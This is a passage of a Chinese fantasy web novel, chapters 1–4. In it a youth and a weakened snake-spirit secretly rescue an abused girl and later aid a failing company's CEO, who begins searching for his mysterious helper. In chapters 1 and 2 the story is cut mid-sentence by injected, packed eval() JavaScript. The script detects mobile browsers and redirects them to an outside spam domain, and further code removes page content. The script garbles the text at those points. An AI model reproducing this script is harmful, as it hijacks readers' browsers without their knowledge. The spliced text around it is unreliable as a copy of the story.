《不准觊觎邪神的漂亮宝贝》 1. 第 1 章 “吃老子的住老子的,整天做出这么一副苦瓜相给谁看!” 初秋正午的旧城区,男人粗鲁谩骂声混杂着孩子的哭喊在阴暗巷道中响起,不过几秒后,杂乱脚步声混杂,四面的院门随即一闪闪关闭。 “大中午的,那个赌钱的又喝醉了。” “丫丫年纪还这么小……摊上这么个爹也是倒霉。” 这家隔三差五便闹出这样的动静,对周边居民而言已不是什么新鲜事,大家都不想惹上一身骚,此时也只能合上窗装作听不见。 与此同时,最高栋的天台边缘,身披斗篷的少年正在半空中晃悠着小腿。 他五官漂亮如专柜里的手办娃娃,暖金色的阳光映亮纤长浓密的睫毛,清澈透亮的水蓝色眼眸正倒映着亮起的手机页面。 细长柔软的手指在屏幕上点点,“就是这里,在哭的那个女孩就是陈丫丫。” 他小声汇报完,颊侧的斗篷领口便微微攒动,一缕黑雾缓缓从其中钻出,在空中汇聚成尖细的蛇形头颅。 “嗯。”低沉缥缈的音色在耳侧响起,与此同时,黑雾中那双猩红的双眸睁开,朝着那方向望去。 他们比对目标身份的时间里,远处的谩骂声变得愈发暴躁难听,同女孩的哭嚎夹杂在一起,只叫人感到悚然。 乌宜有些着急:“现在可以去帮帮她吗?” “还没到。” 冰冷的嗓音略带着教训的意味,等看见少年噘着嘴生闷气,又轻轻叹口气。 乌宜不再说话,低着头,白而瘦的下巴抵进暖融融的围巾里,只留下一双水蓝的清澈眼睛缓慢眨动。 他知道是什么还没到——念力,那种出自于人类内心深处,绝境时迸发出的强烈愿望渴求。 这种能量能够成为卿烛身体的养分,为日渐虚弱的他补充些许能力。 如果不是因为这个被长期家暴的小女孩涌现出了这样强烈的念力,或许今天他们根本不会来到这里,所以即便乌宜听着那肮脏的怒骂声心中愤慨不已,却也只能静静在原地等待。 蛇形在他肩上盘旋,头颅支起,殷红的眼眸在阳光下泛着阴冷的光。 时间一分一秒过去,远处的哭声愈发剧烈,乌宜不自觉攥紧搭在天台边缘的手指。 下一秒,随着沉闷的打击声,那哭腔戛然而止。 心脏猛然颤动,乌宜终于忍不住翻身跳下天台,靴子点地发出细微声响,斗篷在空中划过弧度,牢牢落在他的肩头。 “乌宜。” 卿烛语气冷厉喊他。 少年却将那声音抛之脑后,气喘吁吁跑出窄小的楼道。 还没想好要怎么对付那个体格是他好几倍的彪形大汉,头顶的黑雾就骤然化作一只蓝色的闪光蝴蝶,朝着声源处飞去。 “待着。” “……” 呼刺急促放慢脚步,乌宜气呼呼地跺了跺脚,总觉得卿烛时间卡的太好了,他简直要怀疑对方是不是故意看他着急。 戴上斗篷的大兜帽,他接近院子后,周围又陷入了那种定格般的死寂,方才从四面八方传来的做饭吵闹声都消失不见,仿佛时间停滞了一般。 砰的一声,男人肥壮的身体重重撞在石砖墙上,猛地喷出一口鲜血。 乌宜忙退出院子,怕血溅在自己新买的靴子上。 “你——”男人不可置信地瞪大双眼,可眼前遭受重创猛然发黑,踉跄站稳后久久无法视物,只能隐约窥见面前掠过一道黑影。 除他以外,院子里还有个脸颊青紫的小姑娘,此时正维持着抬头的动作,大睁的瞳孔中尽是惊惧和惶恐。 几秒前,男人高举起沉重的竹椅要朝她砸来,倘若卿烛的动作再慢一步,头破血流的恐怕就是她了。 “陈杜。” 男人强撑着站直身体,用力甩了甩眩晕的脑袋,终于勉强能看清眼前的画面,原本醉醺醺的眼神逐渐变得畏惧,慌乱地朝着四周看去。 除了那个哭哭啼啼的小丫头,院子里一个人也没有。 “谁在这装神弄鬼?别以为老子怕你!” 下一瞬,风声自四面八方袭来,他还未来得及躲闪,身体便像是遭受了某种沉重打击,几乎凌空飞起,撞击在破旧的门板。 身体轰然落地,在一阵毛骨悚然的恐惧间,他头一沉,失去了意识。 霎时间,院子里陷入了死一般的寂静。 乌宜探出脑袋看了看,正想要进去,却听见救护车的铃声伴随着周遭的噪声缓缓回归。 沉寂的空间悄然恢复正常,握手楼逼仄的窗口再次传出炒菜训娃的动静,仿佛刚才的时间停滞只是错觉。 而那一阵阵铃声逐渐逼近,已经有脚步声从巷口极近处传了过来。 黑雾重新幻化成细窄的小蛇盘踞在乌宜肩头,乌宜不需要提醒,便大步朝着反方向走去。 跑动间斗篷翻飞,露出猩红的内衬。 冰冷的声线在耳畔响起:“电话打早了。” “我怕她伤太重嘛。”乌宜扁扁嘴,感觉到卿烛身上的寒气,没有再给自己辩解什么。 他快步走出巷口,随手将斗篷扯下抱在怀里,回首望向拥挤的长巷,脑海中不自觉又浮现出那小姑娘脸上的泪痕,忍不住捏了一下怀里没送出去的东西。 “那现在怎么办?” “去医院等。” - 陈杜再次恢复意识时,已经被铐着双手被架上了警车,胸口像是遭受过沉重的击打,稍稍一动就发出难以承受的钝痛。 鼻子鲜血直流,他感觉到自己的门牙在疼痛的战栗中摇摇欲坠。 恍惚望向窗外,看着自己女儿被带上救护车,他心中猛然慌乱,可等车晃悠晃悠到了警局,反而冷静下来。 家暴是家事,他怕什么?顶多就像从前一样被教育几句,他又不是没经历过。 想着,他又在心里暗骂那个趁着他喝醉装神弄鬼打他的人,真是狗拿耗子多管闲事!等他回家非得把这人给找出来不可! 被带到审讯室时,陈杜刻意做出悔恨懊恼的姿态,张口便将所有的罪责都推在了喝醉酒上,痛哭流涕保证自己不会再犯。 可即便他都快把自己的脸抽肿了,面前的审讯警官脸色也丝毫未变,而是厉声呵斥他冷静后,才将电脑屏幕转向他,播放了几段监控视频。 “上周,你在北安路34号召集了大型赌博,上个月福源棋牌室,你是这家店的合伙人……” 陈杜身体骤然僵住,像是被兜头破了盆冷水,看着视频中豪放嬉笑着给牌友发放筹码的自己,身体几乎不可抑制地颤抖了起来。 “警官,这、这也违法吗?我不会要坐牢吧?” “多次召集大型赌博,开设赌场,你说呢?” 陈杜这次后知后觉感觉到了胆寒,他想要辩解什么,可这一条条罪名砸下来,却让他失去了狡辩的余地。 监控视频还在放,里面的他脸上满是激动的红晕,大概是想着一会儿收了钱去买几瓶好酒,再让家里那个死丫头去多买点下酒菜,好放松舒坦舒坦。 可画面外的他却双手被铐,狼狈不堪。 一时间,原先虚假落下的眼泪最终成了真,混着旧T恤前襟沾着的血渍,糊开一大片。 - 医院。 做完检查的陈丫丫躺在病床上,一五一十将爸爸以前打牌的事情说给警官姐姐听,等听见对方询问起今天发生的事情,却倏地沉默下来。 “姐姐,我也不知道是怎么回事,爸爸本来因为我买花生回去晚了要凳子打我,可是忽然间就倒在地上怎么叫都起不来,然后……你们就来了。” 女警皱起眉头,觉得不对劲:“你一个人都没看见吗?有没有人出来阻止过你爸爸?” “没有啊。”小丫头乖乖摇头,“原先楼上的刘阿姨和孟奶奶来让爸爸不要再打我了,爸爸生气差点把孟奶奶推倒,之后就没有人敢来我们家里了。” 女警怔了怔,一时无言。 女孩黑白分明的眼睛里满是单纯,不多时眸子又是一亮。 “对了姐姐!那个时候我看见了一只蓝色的蝴蝶,好漂亮哦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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肩上的小蛇顺着斗篷内沿攀上他的手腕,殷红竖瞳在昏暗病房中泛着光,不多时,一缕微光自玩偶身上浮起,眨眼间落入陈丫丫的身体,化解了所有的病痛。 “会。” 过分强烈的念力可作为卿烛灵魂的养分,可之所以要等将人逼上绝境再施以援手,并非是对其的考验和试探,而是卿烛能否出手的关键。 若是陈丫丫不想自救,卿烛即便帮助她,也起不到太大的作用,他们能帮一时,可真正挽救命运的,其实是陈丫丫自己。 小兔子散发着柔和的光芒,将陈丫丫的身体包裹,驱散了原先笼罩在她周身的冰冷雾气。 梦中的爸爸狰狞犹如怪兽,耀武扬威地高举拳头,可这次还未来得及砸下,就被一道暖光化解开来,陈丫丫的身体随之停止颤抖。 梦境不再是一望无际的黑暗。 她试探着睁开双眼,看见窗帘随着微风荡起,夕阳撒入一室,暖融融地扩散开。 她的手微微一动,摸到怀里软绵绵的玩偶。 脑海中隐约间浮现出一抹纤长的身影,斗篷下的面容带着几分虚幻,那种隐隐约约的邪气伴随周身,黑雾弥漫笼罩,像是将那个人的身躯罩入怀中,本能让她感到危险甚至胆寒。 可只是一眨眼的功夫,那道记忆又如同流沙从她的脑海中消散了。 - 夜幕降临,乌宜拢紧外套往家的方向走。 肩上的黑雾已经聚拢成一小团虚虚覆在他的手腕上,像是个质地极好的黑玉手镯。 “吸收完陈丫丫的念力,你的身体有好一点吗?” “嗯。” “那陈杜要是去坐牢了,她要被送去福利院吗?” “嗯。” “好可怜哦……” 乌宜垂着眼替陈丫丫委屈,他也是福利院长大的,知道那种特殊孤寂的感觉,他止不住叹气,却许久没有听见卿烛开口。 他其实不喜欢卿烛话那么少,依稀间记得很多年前卿烛的身体还不那么差,那时经常会幻化成人形熬夜给他讲题,一说就是一整晚。 而如今他已经不大清楚卿烛人形具体是什么模样了,只隐约间记得很高大很威严,让那时胆子还很小的他不敢直视。 心中忽然动了些想法,乌宜下意识摸了摸手腕上的冰凉镯子。 他很想看看卿烛现在的长相是什么样子,和从前他见过的模样有什么差别。 2. 第 2 章 可惜的是陈丫丫念力虽然强烈,可终究是个孩子,能够供卿烛吸食的部分太少,无法补足他身体内的亏空,所以乌宜的申请刚出口,就被冷酷地驳回了。 看着手腕上盘着一动不动的小蛇,他又想起卿烛近年来日渐延长的沉睡时间,心中不由着急,想要快一点积攒念力。 “那我们接下来去哪里?” 卿烛这次倒是回答很快:“学校。” “目标在学校里吗?”乌宜没想到这么快又有新目标了,有点高兴。 “不,是你该去学校报道了。” “!!!” 乌宜大惊失色,仿佛一瞬间从天堂跌落地狱,当即便顿住脚步,委屈和不甘在心中盘旋升腾,眨着水汪汪的眼睛企图撒娇改变卿烛的主意。 “卿卿……” “再不去就要被退学了。”卿烛的语气依旧没什么情绪,“有个文化太低的饲主也很丢人。” 乌宜:“……” 你还嫌弃我,你都没读过书呢。 - 事实上卿烛虽然没念过书,却仿佛无所不知,反而是乌宜即便由他一手教导长大,成绩也始终游走在中下层。 这些年,卿烛逐渐接受了他没有学习天赋的事实,甚至在他收到云京某所野鸡大学的录取通知书后,还表现出了难得的欣慰,第一次允了乌宜的提的条件,给他租房子的同时,还任由他在介于市中心和学校中央的黄金位置开了一间甜品店。 乌宜喜欢烘焙,知道卿烛的小金库就像恶龙的宝藏巢穴,珠宝和黄金堆成山,所以花起他的钱来丝毫不心虚,小店虽然每个月都在亏钱,但也还是顺顺利利开了下来。 辛辛苦苦在学校熬了一周,趁着周五没课,乌宜便直奔自己的甜品店,并且向店员汇报了一个好消息。 咻咻甜品店的一周年活动除了打折福利以外,还要向福利院的孩子送温暖。 领班文雅从开业起就一直在店里工作,是个上进的小镇女孩,她对这个时常不着店的漂亮店长很有好感,听见这个提议时也表示了强烈的赞许。 乌宜定好时间便泡在店里一整天,设计好了周年活动计划,又顺带着哀求卿烛帮忙联系好福利院。 甜品店的小办公室内,黑雾盘踞在手机前,声音冰冷与电话对面的人进行交涉,乌宜苦恼地咬着嘴唇,盯着采购用具的页面,准备和客服砍价。 磨砂玻璃门被轻叩两声,文雅抱着一堆东西进来。 “店长,打印店刚才把我们周年庆的海报和展览板都送来了,你看看。” 乌宜迟钝抬起头,一侧白皙软糯的脸颊被手掌撑出一片红,显得像是刚睡醒。 他低头检查了一遍,察觉到文雅走近猛地想起什么,转头看向自己放在桌上的手机,好在那里的黑雾已经散去了,卿烛早就回到了他的手腕上,正合格地充当着一支手镯。 “挺好的,贴到玻璃上吧,周末找两个兼职跟我们一起去福利院帮忙。” “好嘞。” 文雅收拾好那些东西,临走前视线扫过桌上搭着的那截细白手腕,宛若黑曜石般的手镯莹润而有光泽,看起来就价值不菲。 可同时又好像散发着邪气,让人有种背后发凉的感觉。 - 去福利院献爱心当天,艳阳高照,是个难得的晴天。 文雅招聘了两个附近的大学生兼职,将提前准备好的甜品面包和书包衣服搬运到太阳福利院,乌宜抵达后没跟着他们收拾,而是被院长带着去参观了。 卿烛知道他一直担心陈丫丫在福利院的生活,所以联系时借由资助之名特意打听过,院长知晓他们的目的,这会儿即便瞧见来的人是乌宜这么个小年轻也没丝毫忽视,而是认认真真的带着他参观。 “这边就是我们的宿舍,现在孩子们都在午休呢。” 听见院长压低的声音,乌宜便也放轻了脚步,微微踮起脚朝门中窗望进去,却始终没有找到自己想看的人。 “对了,那天联系我们的是您……”院长低声问。 乌宜乖乖回答:“是我哥哥。” “原来是这样。”院长瞧着他身上看不出品牌,但穿在他身上却十足贵气的衣服,像是认定了他是个有钱人家的小少爷。 乌宜走到最后一个房间,终于看见了陈丫丫。 “她怎么不睡觉?” 其他孩子都躺在小床上,只有她坐在上下床边缘,两条小腿支在床边轻轻晃。 院长往里头看了眼,叹道:“那孩子刚来不久,还没适应呢。” 乌宜看着那小小的背影,陈丫丫手上似乎抓着个什么,两只黄色的耳朵垂落下来,是那只娃娃。 “你们这里平时来领养的人多吗?” 院长顿了顿,苦笑道:“偶尔吧,现在是看的人多,真正领走的没几个,而且这种记事的大孩子……也比较少家庭会想要。” 乌宜转了一圈便到了起床的时间,他下楼去看文雅他们准备的怎么样,耳边院长还在和他说着福利院的故事,可他却有些听不下去了。 也许是因为经历相似,他这段时间只要一想到陈丫丫在院子里挨打时的可怜哭声,心里面就会很难过,本以为见到了她过上还算安稳的生活会好一些,可心情好像变得更加糟糕了。 - 文雅还是第一次来福利院,见到这些大小孩子过来领礼包时的好奇眼神,心都快化了,没多久有个小姑娘领完了东西却并没有第一时间离开,而是盯着她的背后一个劲张望。 文雅顺着她的目光看过去,“小朋友,你在看什么呢?” “姐姐,他是谁呀?”那小姑娘抬起手,指向了后方正在和院长交谈的乌宜。 文雅觉得她还挺可爱,便温声回答:“他是我们甜品店的老板,这次送给大家的东西都是他给大家准备的。” “那他叫什么名字呢?” 文雅听见这个问题一怔,还没觉得哪不对,就见那小姑娘露出个很可爱的单纯笑容。 “我想去和他说谢谢,这些面包好香啊。” 文雅松口气:“你们叫他哥哥就可以了,他人很好的。” “好,谢谢姐姐。” 小姑娘冲着她点点头,却并没有走向乌宜,而是朝着反方向跑走了。 文雅有些摸不着头脑,等发放完了所有东西,收拾桌椅时才想起来要将这件事告诉乌宜。 但还没等她说完,不远处的大门就缓缓驶入了一辆车。 “这是枫悦的车诶。”文雅的注意力瞬间被转移。 乌宜茫然地朝那方向看了一眼,大巴后面还有一辆商务车,院长和几个老师很高兴地迎了上去,车后座很快下来一男一女。 中年女人看起来温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427857|184876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和优雅,穿着很简单的大衣,而她身边的男人要更加年轻,穿着深灰色西装,气质不凡却面带疲色,同院长握手打过招呼,说话时脸上还有些许歉疚。 “枫悦是什么?”乌宜没太明白,但他从看见那个男人开始,心里面就有种奇怪的感觉。 说不清,就是觉得这个人不太对劲。 “枫悦是一家很早的公司了,专门做电器的,我家小时候用的都是他们家的风扇呢,但听说快要倒闭啦。”文雅叹了口气,“我看网上都说他们企业时运不济,每次做什么项目都会出问题,最后反而成全了别人。” 乌宜心底咯噔一下,忽然意识到了什么。 “没想到他们还一直做慈善诶,我都没在网上看见过宣传。”文雅止不住感叹好人没好报。 乌宜站不住了,借口去洗手间,实则跑到了距离大门仓库最近的宿舍后面。 一路上他都在试图唤醒卿烛,可今天卿烛就像是睡死过去了,怎么也喊不醒。 不远处的工人已经把送来的过冬衣物和被褥都放进了仓库,院长也将那两人送出了大门,马上就要上车离开。 着急着,乌宜甚至都想好了自己一会儿打车跟在他们后面看情况。 这时,手腕上却忽然传出了动静。 冰凉的触感顺着袖口钻出,乌宜下意识抬手,看见浓郁的黑雾化作小蛇钻出了一截头颅。 “你终于醒了!” 少年眼睫发颤,薄薄的眼皮染着点红意,好像着急到要哭了。 卿烛低低嗯了声,殷红的竖瞳盯着不远处的男人。 “他们是谁?” “是一个企业的人,文雅说他叫傅什么……” “他身上念力很强。” 乌宜一喜:“真的?难怪我一看见他就觉得不太对劲,正想和你说他的事情呢。” 和卿烛在一起待久了,他虽然还看不见所谓的“念力”,但已经能够通过一些细节判断出有可能的人选。 如今卿烛沉睡的时间越来越长,他知道有些事情总是要靠自己的,可没想到还在试验的阶段,就歪打正着确定了下一个人选。 “那我们之后要盯着他吗?” 卿烛微微钻出,蛇头悬在空中,不知为何有些严肃。 “要尽快,他的情况不太好。” “好!” 远处的几人坐进车里,很快消失在了视野中。 乌宜心里那点激动劲一下又散了,察觉到卿烛钻回手腕缩成一圈,连忙把手举起来,皱着小脸冲他发脾气。 “你不准不理我。” “……”卿烛沉默良久,“怎么没理你?” 乌宜打心底觉得委屈:“我刚才喊了你好久。” 从卿烛的视角能看见巴掌大的白皙小脸,水汪汪的眼睛蓄着点儿娇气,好像下一秒就要难过哭起来。 他向来是受不了乌宜这副样子的,此时也没试图解释什么。 “知道了,弟弟。” 乌宜吸吸鼻子正要点头,又猛地察觉到他的称呼,脸颊一红。 “你原来在偷听我和院长说话!” 卿烛低笑了声,安安静静圈在他手腕上,不再说话。 乌宜羞愤的同时,意识到卿烛原来并没有完全陷入沉睡,担忧的心又逐渐放松了下来。 这个卿烛,真的很坏! 3. 第 3 章 离开太阳福利院后,乌宜闲着没事干就去浏览关于枫悦公司的帖子,了解过才知道,那天在福利院见到的男人就是总裁傅流晔,而那个中年女人是他的母亲岑悦,也是枫悦公司最大的股东。 这段时间网上的流言愈发猛烈,傅流晔的念力也逐渐增强。 上一次卿烛醒来时说这两天估计就到时间了,因为资助的事情,乌宜对这个人还挺有好感的,算着日子当天特意去小仓库里挑了一只自己很喜欢的卷毛小羊,准备送给傅流晔。 出门前,乌宜特意用了十分钟唤醒卿烛,确定他醒了才驱车出发前往枫悦。 车停在地库,斜对面就是傅流晔的车,他熄了火,开始漫长的等待。 可时间一分一秒过去,他几乎都要困睡过去,可傅流晔还是没有下楼。 “他不回家吗?不是说公司马上要倒闭,为什么还那么拼命。”乌宜打了个哈欠,支起腿踩上座椅,修长的小腿被长袜勒出细微的凹陷,他百无聊赖地将额头抵在膝盖上,拨弄手腕的镯子玩。 卿烛能量有限,没搭理他。 不知过去多久,时间已经指向零点,电梯间才终于传出动静。 看着傅流晔驱车离开地库,乌宜睡意消散,着急忙慌穿上靴子,发动车辆跟了上去。 察觉到他的激动,卿烛忍不住提醒:“开慢点。” 乌宜抓着方向盘,颇为不满:“你怀疑我的车技吗?我靠驾照的时候你不是看着我完美拿证。” “你忘了这辆车前天才修完送回来。” “……” 乌宜不敢说话了。 还没拿证的时候他就磨着卿烛给他买车,谁料终于有证上路了,还没开十分钟就翻进了花坛。 可这也不能怪他嘛,那时候刚给人送过娃娃,他心情正亢奋着。 还没等他找足借口,前方的车就拐进了一个小区,乌宜本想跟上去,可那小区不让外来车辆进入,他只能停在路边,再趁着有人进小区时蹭刷脸门禁。 进了小区,乌宜正看着几条大路发懵,一只小小的蓝光蝴蝶就泛着细碎的光芒,翩然地扇动着翅膀朝某个方向飞去。 他小跑着跟上去,不多时便停在了一幢小阳楼前。 院子里一片漆黑,二楼房间窗户亮着光,显然没走错,的确是傅流晔家。 要等目标睡着,乌宜便找了个花丛亭子坐下,点开小游戏边玩边等,可惜每一次他迫不及待地抬头,那扇窗户都还亮着光。 这人怎么还不睡觉啊?他都要困了。 闯到第五关,他怎么也过不去,下意思想要求助卿烛,可一抬起头就发现窗户的灯不知何时灭了。 “他睡了!” 卿烛圈在他手腕上微微窜动,化作一团浓郁的黑雾,转移到了他的肩膀上。 “走吧。” 乌宜娴熟地系好斗篷,将兜帽戴上,起身时风灌进斗篷里,冻得他打了个小小的哆嗦。 入秋后一到深夜便降温,乌宜加快脚步,皮质短靴上延伸出精致的长袜,风掠起斗篷一角,露出底下不规则的浅棕色中裤,衬得一双腿长而直,裸露出的那一截在月光下白到发光。 卿烛察觉到他脚步加快,冷道:“让你别穿这个。” 他始终不理解,乌宜为什么总是喜欢穿这种不实用的衣服,明明冷到发抖也不愿意换掉。 乌宜小声回嘴:“我就喜欢这个,而且白天我和同学出去吃饭,肯定要打扮一下。” 要知道朋友都说他像个小王子,特别时髦,只有卿烛这个老古董不懂时尚,连他这么漂亮都看不出来。 嘟嘟囔囔到了院子后面,乌宜踩在窗台上抬手摸索,距离上一层却还是差很远。 虽然很不情愿,但他还是拉长尾音,求助:“卿卿——” 肩上的黑雾消失,有冰凉的触感圈住他的两只手腕,轻轻松松便将他拉上了二层窗台。 “谢谢卿卿。”乌宜挤出个笑脸,认为此时的自己就像个不计前嫌的善良好人。 卿烛落回他的肩膀,像是耗尽了气力。 乌宜不敢再耽搁,轻手轻脚推开窗户,小心翼翼翻了进去。 屋子里没有夜灯,漆黑一片,只有掀开的窗帘撒入一室月光,乌宜起初还担心自己的动静会惊醒傅流晔,可走进房间才发现床上根本没有人,甚至连被子都还整齐叠放。 不会还没睡吧! 心脏猛地提起,乌宜正要慌乱躲起来,转身的功夫却看见隔断的另一侧,有人正趴在电脑桌前。 屏幕还散发着莹莹微光,男人呼吸清浅,显然是太困倦才睡了过去。 原来在这。 乌宜松口气,走到桌边,借着微弱的光线打量这个陌生的男人,他摘下眼镜以后其实很年轻,五官英俊出色,就算和电视里的很多明星放在一起也毫不逊色。 “其实公司经营不善的话,进军娱乐圈应该也很有市场呢。” 他刚说完,卿烛就不轻不重地捏了一下他的脸。 有点疼。 迟钝回过神,他将怀里的小羊玩偶找出来放在书桌上,收手时又害怕这样没有作用,便又将小羊推近了男人的手肘,让它紧紧贴住。 淡淡的光芒循着小羊扩散到了傅流晔的手臂,屋内泛着暖色的光泽,让身处其中的乌宜也感受到了几分温暖的气息。 希望你之后运气都会好一些吧,会偷偷做好事的傅流晔。 做完任务,乌宜高高兴兴翻窗离开,落地的时候又差点被斗篷绊倒,气鼓鼓跑出小区坐上车,立马把脚搭上座椅,指着长袜上那一块黑色污渍给卿烛看。 “……” 起初不想搭理,可乌宜一直维持着这个姿势,卿烛还是说:“洗洗就好了。” 乌宜撅起嘴,蓝色眼睛里蓄积起水光。 卿烛:“……买新的。” 乌宜这才露出满意的笑容,把袜子那一截脏了的叠起来盖住,眼不见为净,心满意足去启动车。 “不知道以后谁受得了你。” 没听出他的言外之意,乌宜还在思考购物车里的哪些东西需要清空。 - 次日清早,近期某个爆火的网络 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而更加让他感到匪夷所思的是……前些日子还没消息的一笔投资忽然谈妥,公司资金得以周转,枫悦短暂地活了下来,还能拥有开发新品孤注一掷的机会。 这一系列事件发生得太过顺畅,让他回想起曾经见过的某个话题,那时他无意间刷到,只以为是某些营销号又在编造诡异的迷信故事,可今天试着一搜才发现这里居然有这么多人跟他有过相似的经历。 难道这个世界上真有神明吗? 原本坚定唯物主义的傅流晔止不住内心动摇,还是忍不住注册了一个新号,在词条下发布询问贴。 游客fff:[请问有人见过这位守护神吗?ta长什么样子?] 不过半分钟,便有人回复。 家有二宝:[年轻人不要好奇这个,神既然不让你看见,肯定有神的原因,可要小心,别触怒了神灵] 好运来来来:[谁知道呢?这里都是一觉醒来得到娃娃的人,又没人清醒时见过] 。。:[我见过,长得特别吓人。] 傅流晔握住鼠标的手停顿几秒,脑海中忽然回荡起昨夜模糊的记忆。 他其实并没完全睡熟,脑子里都是公司的事情,焦虑中夹杂着对自己的失望和恼怒,即便睡去意识却还残存,听见耳边有开窗的声响。 那股馥郁香气渐渐飘远,他艰难睁开眼,便见月光洒落的窗台前站着一个身披黑色斗篷的人,身形单薄像是个还没长熟的少年,正踮着脚往窗台上爬。 随着靴子踩上窗台,斗篷垂落下来,露出被长袜勒住的小腿软肉,皮肤白皙到在月光下泛着光,是纤细而又修长的骨架,怎么都不该是难看吓人的。 傅流晔目光再次触及桌上的玩偶,心中竟有些紧张,他拿起,从上面嗅到了淡淡的香气,正是他昨晚半梦半醒时嗅到的味道。 终于下了决心,他拨通了小区物业部的电话。 “你好,麻烦帮我调昨晚十二点左右的监控。” 4. 第 4 章 做完傅流晔这一票,乌宜足足赖在家里休息了三天,直到他新买的那些衣服都到了,才兴高采烈从床上爬起来拆快递。 卿烛吸收完了那些念力,却并没有太多的改变,不出门的时间就缩在那一堆玩偶上,以便让那些娃娃都沾染上他的气息和能量。 “这个好看吗?” 他缓慢睁开眼,看见乌宜上身穿着毛绒睡衣,下面裤腿卷起来,光脚穿着靴子满眼期待的模样,停顿了两秒才给出评价。 “可以去插秧。” 乌宜震惊地看着他,当即炸了:”你好不懂时尚啊!“ 他脱掉鞋子一屁股坐在地毯上,背对着卿烛生闷气,等拆了几套衣服,他又忍不住转回来,一本正经地看着卿烛,帮他找补。 “我理解你,你之所以不懂时尚,就是因为你根本不穿衣服,等你可以像以前一样变成人形,就会懂我的感受了。” 他真心实意,卿烛却道:“我不变人。” 乌宜满心不悦:“可是我想看啊,你都好多年没有变过人了。” “你不是害怕?” 没想到他会翻旧账,乌宜一噎,开始表忠心。 “因为我那时候还小呀,我现在长大了这么多,而且都这么熟悉了,你变成什么样子我都不会害怕的。” 卿烛半信半疑:“真的?” “当然了!” 乌宜重重点头,但其实他根本记不清楚卿烛人形是什么样子,毕竟那实在太过久远了,现在依稀间只知道卿烛喜欢穿黑色的衣服,而且身形特别高大,所以对于那时年幼的他而言,显得特别可怖。 但是他和卿烛都认识这么久了,他肯定要表现出完全的接纳,这样才能让卿烛多给他买一点东西。 想着,他高高兴兴抬头还要补充什么,却猛地对上了一张黑雾幻化成的鬼脸,嘴巴裂开拉长,露出血一样的猩红。 “啊啊啊啊啊啊啊啊啊啊——” 乌宜把手里的包装盒丢了过去,驱散了那片黑雾。 屋子里霎时间只剩下他惊魂未定的急促喘息。 良久,乌宜跪坐在地毯上平复呼吸,正鼓着脸颊气呼呼等着卿烛来哄自己,可却许久都没看见他再出现。 什么意思啊……吓了他,卿烛还好意思跟他生气吗? 赌气把其他的快递盒都拆掉,可是等他又找到想要分享的衣服转头,却发现屋子里还是没有卿烛的影子。 心里忽然慌乱起来,他连忙站起身,“卿烛?卿卿?” 软乎乎的声音带着点害怕,可是空荡的屋子里却始终没传来他所熟悉的冰冷回应。 - “傅先生,您也看见了,监控确实没拍到有人潜入院子,您看是不是记错了?”物业保安操控着鼠标,感受到身后男人的注视,只觉汗流浃背。 傅流晔反复确认过几次,确定没有以后有些失望,可似乎又像是意料之中。 “麻烦你了。” “没事,我们本来就是为业主工作嘛。” 离开小区,傅流晔坐上去公司的车,忍不住揉了揉酸痛的太阳穴,脑子有些乱。 明明公司有很多事等着他去忙,可这件事一直不弄清楚,就始终在脑子里转,挥散不去。 那个人到底是谁?又为什么要帮他? 还未等他想个清楚,原在红绿灯稳稳停下的车忽然震颤一下,司机都被吓了一跳。 “傅总,追尾了。” 傅流晔皱紧眉头,看着司机下车,便也往窗外看了一眼。 驾驶座下来一个穿着卫衣背带裤的年轻男孩,脑袋上还扣着一顶圆圆的贝雷帽,是当下很潮流的穿搭。 他全程没下车,等处理也没多久,司机再上车还未松口气,后座便传来声音。 “未成年?” 司机愣了一下,说:“不是,有驾驶证,他说是新手,还不熟练。” 傅流晔点点头,没有再问。 - 将车开到了无人处,乌宜心疼地看着车前的凹陷,小声嘟囔:“看出什么了吗?” 两天前,卿烛忽然消失了,直到今天早上才重新出现,还没等乌宜生气,便告知了傅流晔的念力不太对劲的消息,于是乌宜便马不停蹄地赶来和傅流晔碰面。 虽然没能有交集,但距离也足够近了。 卿烛身体有些虚弱,回应速度也比平时慢了许多。 “他的情况还没完全转好,虽然念力足够浓烈,但我吸收到的部分等同于无。” 乌宜不免着急:“那怎么办?要再去找他吗?” “找机会去他公司看看。” “好。” 乌宜想也没想就答应下来,想趁着机会关心一下卿烛,可还没等他再开口,手腕上的黑雾就汇聚成了死物,悬挂在他手腕上。 仍旧是黑玉石,可却没了平时的莹润光泽,暗淡了许多。 - 枫悦公司重新回到正轨需要很长时间适应,这些天傅流晔会议出差不断,察觉到底下人也压力山大,便将其他福利又丰富了不少。 乌宜穿着甜品店制服抵达公司时,大家都还在忙碌中,他去前台等了一会儿,才看见穿着西装的漂亮助理朝他走来。 “您跟我来吧。”助理很有礼貌,冲着他微笑。 乌宜点点头,推着店里的专属小推车跟到电梯门口,转头好奇地四处查看,就瞧见一道熟悉的身影从大门走进。 是那天在福利院看见的女人,傅流晔的妈妈岑悦。 她手上拎着保温食盒,似乎是来给傅流晔送饭的,走的是角落无人的那台电梯。 视线交汇间,电梯门打开,乌宜跟着助理进去,莫名对这个看起来温柔大气的阿姨很有好感。 上了楼,乌宜才发觉整栋楼都迷茫着喜庆但紧绷的气息,帮着助理将下午茶甜品分发下去,他坐电梯下楼准备离开,原本还想试着上顶层去看看,谁料上面那几层都需要刷卡才能进。 正纠结是否要走黑漆漆的消防通道试试,身后电梯门却忽然打开。 岑悦站在电梯里,见那人被吓到转过头来,白皙漂亮的脸上是明晃晃的惊吓,也吃了一惊。 岑悦这段时间不怎么管公司的事情,想着傅流晔最近早出晚归,助理说他连饭都不怎么吃,便趁着有空来给儿子送家里阿姨做的饭菜,谁料准备回去时电梯坐到一半,就见着这么个鬼鬼祟祟的人。 “你是……” 